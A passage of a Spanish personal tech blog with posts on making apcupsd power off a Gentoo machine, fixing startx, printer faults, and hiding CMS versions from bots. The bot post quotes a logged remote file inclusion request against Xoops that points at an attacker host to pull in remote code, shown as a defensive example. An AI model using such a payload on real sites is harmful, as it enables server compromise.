Configurar apcupsd para apagar el computador inmediatamente

Tenía tiempo sin usar un UPS APC y sin configurar apcupsd. La primera sorpresa que me llevo es que la función de apagar el computador no funciona como debería, es decir, no apaga el computador. Para ser exactos, cierra todos los procesos y deja el sistema detenido para apagarlo pero no lo apaga, sino que deja que el UPS lo apague al descargarse la batería. Esta función está más orientada a entornos de servidor, donde la opción de encender el computador al llegar la electricidad está activa como muestra la siguiente imagen:

DSC00262

PWRON After PWR-Fail    [On]

Pero en mi caso no deseo que ocurra eso, sino que se apague el computador sin consumir toda la energía del UPS para poder mantener mi router y mi modem de internet encendidos y poder navegar desde mi laptop.

Para deshabilitar esta función tal cual como está definida solo debemos editar el script /etc/init.d/halt.sh y buscar las líneas de la función que son:

# This is a function because its used twice below
ups_kill_power() {
local UPS_CTL UPS_POWERDOWN
if [[ -f /etc/killpower ]] ; then
UPS_CTL=/sbin/upsdrvctl
UPS_POWERDOWN=”${UPS_CTL} shutdown”
elif [[ -f /etc/apcupsd/powerfail ]] ; then
UPS_CTL=/etc/apcupsd/apccontrol
UPS_POWERDOWN=”${UPS_CTL} killpower”
else
return 0
fi
if [[ -x ${UPS_CTL} ]] ; then
ewarn “Signalling ups driver(s) to kill the load!”
${UPS_POWERDOWN}
ewarn “Halt system and wait for the UPS to kill our power”
/sbin/halt -id
while [ 1 ]; do sleep 60; done
fi
}

Y editar la línea que dice /sbin/halt -id agregándole una “p” al final, quedaría así:

/sbin/halt -idp

O la otra forma que fue la que usé, comentar todas las líneas o eliminarlas en su defecto (para comentar una línea ponemos un # en frente de cada línea a comentar), recordando comentar o eliminar la línea que está mucho más abajo para no obtener errores al apagar el sistema que dice:

ups_kill_power

Dato extra: Gapcmon

Si desean tener un programa gráfico para obtener algunos datos del UPS pueden instalar gapcmon. Por defecto no se encuentra en el tree de portage de Gentoo, así que bajan el source desde su página principal que es esta http://gapcmon.sourceforge.net/ y ejecutan los siguientes comandos:

cp gapcmon-0.8.9.tar.bz2 /usr/src

cd /usr/src

tar -xjf gapcmon-0.8.9.tar.bz2

cd gapcmon-0.8.9

./configure –prefix=/usr (en frente de prefix va doble guión)

make && make install

gapcmon

Recuerda que la versión del programa que en mi caso es la 0.8.9 puede cambiar. Con eso tendremos instalado gapcmon, solo debemos tener iniciado el demonio de apcupsd para que funcione.

No instalé ups-monitor porque me pedía la USE +gnome y no pretendo instalar gnome ;).

Reparando startx en Gentoo para iniciar el gestor de ventanas

Luego de una actualización del sistema, al parecer de xinit por alguna razón al ejecutar startx no iniciaba mi gestor de ventanas (en mi caso Xfce4) sino que simplemente iniciaba Xsession. A pesar de que en el /etc/rc.conf estaba todo bien, debía ejecutar startxfce4 para poder iniciar Xfce.

Hoy actualizando el sistema me di cuenta de un mensaje de xinit que dice:

* If you use startx to start X instead of a login manager like gdm/kdm,
* you can set the XSESSION variable to anything in /etc/X11/Sessions/ or
* any executable. When you run startx, it will run this as the login session.
* You can set this in a file in /etc/env.d/ for the entire system,
* or set it per-user in ~/.bash_profile (or similar for other shells).
* Here’s an example of setting it for the whole system:
* echo XSESSION=”Gnome” > /etc/env.d/90xsession
* env-update && source /etc/profile

Así pues, la solución al problema es bien sencilla, solo ejecutamos estos comandos como root:

echo XSESSION=\”Windows_manager\” > /etc/env.d/90xsession”
env-update && source /etc/profile

O también:

nano -w /etc/env.d/90xsession

Y al archivo le agregamos el siguiente contenido:

XSESSION=”Windows_manager”

Ejecutamos el siguiente comando después de guardar el archivo:

env-update && source /etc/profile

Donde Windows_manager es el nombre del  gestor de ventanas que usemos que pueden ser algunos como estos: Gnome, Kde-<version>, Xfce4

Con eso solucionamos el problema :)

Salu2

Evitando un poco ataques bots a nuestra web

En internet existen redes bots para enviar spam o para hacer ataques automáticos en páginas web encontradas en Google. Mi web como probablemente muchas más no está lejos de esta realidad y diariamente es atacada por docenas de bots y tipos de ataques.

En principio, estos bots son creados por alguien que pretende comprometer una web de manera automática en un CMS conocido, la gran mayoría con ataques simples de XSS o SQL Injection y tratando de explotar en muchos casos una vulnerabilidad conocida del CMS que uses.

Para evitar solo un poco este tipo de ataques que puede causar estragos si se nos olvida actualizar no está de más aplicar lo que se llama “oscuridad como seguridad”. Simplemente se trata de una técnica de eliminar cualquier información de qué CMS usas y qué versión. Si no lo haces,  estos datos son guardados por los buscadores y son los usados por los bots, si no los mostramos dichos bots no deberían atacar con frecuencia nuestra web.

Para demostrar un poco eso de los bots desde hace meses he recibido ataques en este tema de mi blog:  Actualizando de Xoops 2.0.18 a Xoops 2.3.0 RC Todos los ataques han sido de bots pretendiendo explotar una vulnerabilidad en Xoops CMS obviamente sin éxito.

/blog/2008/08/26/actualizando-de-xoops-2018-a-xoops-230-rc/xoops_lib/modules/protector/module_icon.php?mydirpath=http://web-maligna.com/id1.txt?

La razón obvia de ese ataque es que el tema en cuestión de mi bog incluye las frases xoops y la versión que a parte se muestra en google.

Debo decir que a mi me ha funcionado disminuyendo las visitas de bots que son molestos y consumen ancho de banda, pero esta técnica es completamente inútil para un atacante humano, así que no crean que agregarán mucha seguridad con esto ;)

PD: Existen bots que hacen pentest en las webs donde se desconoce el CMS y guardan los resultados en los servidores donde se alojan, así cuidense de los pentest también ;)

Salu2

Fallas comunes en impresoras

No pretendo publicar una guía aquí y ahora sobre esto, solo algunos comentarios ya que los manuales y guías vendrán después :p

Para inyección de tinta:

  • No toma la hoja a veces la impresora: los rodillos están sucios de la cera del papel que se pega en ellos. La solución es lijar los rodillos.
  • No toma nunca papel: El rodillo no está girando por alguna razón, puede ser una pieza aislada, partida o un engrane dañado.
  • A veces toma mal la hoja o la dobla: la solución 1 te servirá también.
  • Tiene un sonido como un roce al imprimir: le hace falta aceite o vacelina a alguna pieza (incluso puede que le falten las 2 cosas).
  • Hace ruidos extraños antes de imprimir, como si fuera a partir piezas: probablemente una pieza esté aislada o haya algo que esté obstruyendo el buen funcionamiento.
  • Las luces encienden y apagan o marca una pantalla de error: En general esto representa que alguna de las pruebas internas de la impresoran no pasaron, algún problema de sensor o de engranajes suele ser la falla.
  • Mancha las hojas y la impresión no es de buena calidad: El cartucho está sucio, con un poco de algodón y alcohol se soluciona ;)
  • No imprime pero hace el proceso de impresión: el cartucho está seco o el cabezal está tapado, en el caso de que no sea eso, la cinta flex está partida, deberás probarla con un multímetro.
  • En la impresión de fotos salen partes sin imprimir, incluso con cartuchos nuevos: La cinta lectora que le indica al cabezal la posición se borró en algunas zonas o está manchada, deberás cambiarla o limpiarla.
  • El cabezal no se mueve: la cinta flex está dañada, el motor del cabezal se quemó o la tarjeta lógica no funciona.
  • El cabezal se da golpes de un lado al otro: La cinta lectora está completamente dañada o el sensor de la cinta.
  • Toma de manera infinita las hojas pero no imprime: el sensor de hoja se dañó o la palanca del sensor de hoja se partió.

Para matríz de punto:

  • No todos los puntos en las impresiones son disparados: se rompió una de las agujas, deberás colocarle una aguja nueva o cambiar el cabezal. Puede haber problemas con la cinta flex también.
  • En media impresión se detiene la impresora y enciende y apaga las luces: El cabezal se trancó por alguna razón. Deberás limpiar los engranajes y aplicar aceite y vaselina a las zonas correspondientes.
  • Imprime muy claro pero la cinta es nueva: ajusta la posición del cabezal con la palanca que acerca el cabezal. No lo acerques demasiado porque podrías partir las agujas.
  • No toma bien el papel: Lija el rodillo y limpia los alrrededores.

Soluciones definitivas:

En el 90% de los casos, una impresora falla por falta de mantenimiento. La solución definitiva es eso,m mantenimiento COMPLETO, es decir, desarmar cada pieza y limpiarlas una por una, si te dedicas a reparar solo la falla no estás haciendo NADA.

Esta es una lista de mi experiencia con impresoras, probablemente hayan más pero no las recuerdo.

Salu2

Procrastinando estaba yo…

La procrastinación es definido según wikipedia de la siguiente forma:

Es la acción (o hábito) de postergar actividades o situaciones que uno debe atender, por otras situaciones más irrelevantes y agradables.

Hasta hace no mucho estaba procrastinando con mi web y de hecho podría decir que aún lo estoy pero en otras tareas de mi vida. Había dejado de actualizar los gestores de contenido de mi web dejando grandes agujeros de seguridad que según vi en los logs fueron tratados de explotar sin éxito gracias a mis otras protecciones :p

Había dejado mi web algo desordenada y olvidada, pero es hora de dejar de procrastinar un poco y responder los mails de preguntas y sugerencias de la web así como responder los comentarios. Cambié el theme, actualicé todo, revisé algunos logs de acceso… en fin, faltan muchos detalles de optimización y revisión de la web y lo iré haciendo mientras pasa la semana.

Actualicé el gestor de contenidos y estaré revisando mis reglas de seguridad, si notan algo que no funcione pueden avisarme ;)

Salu2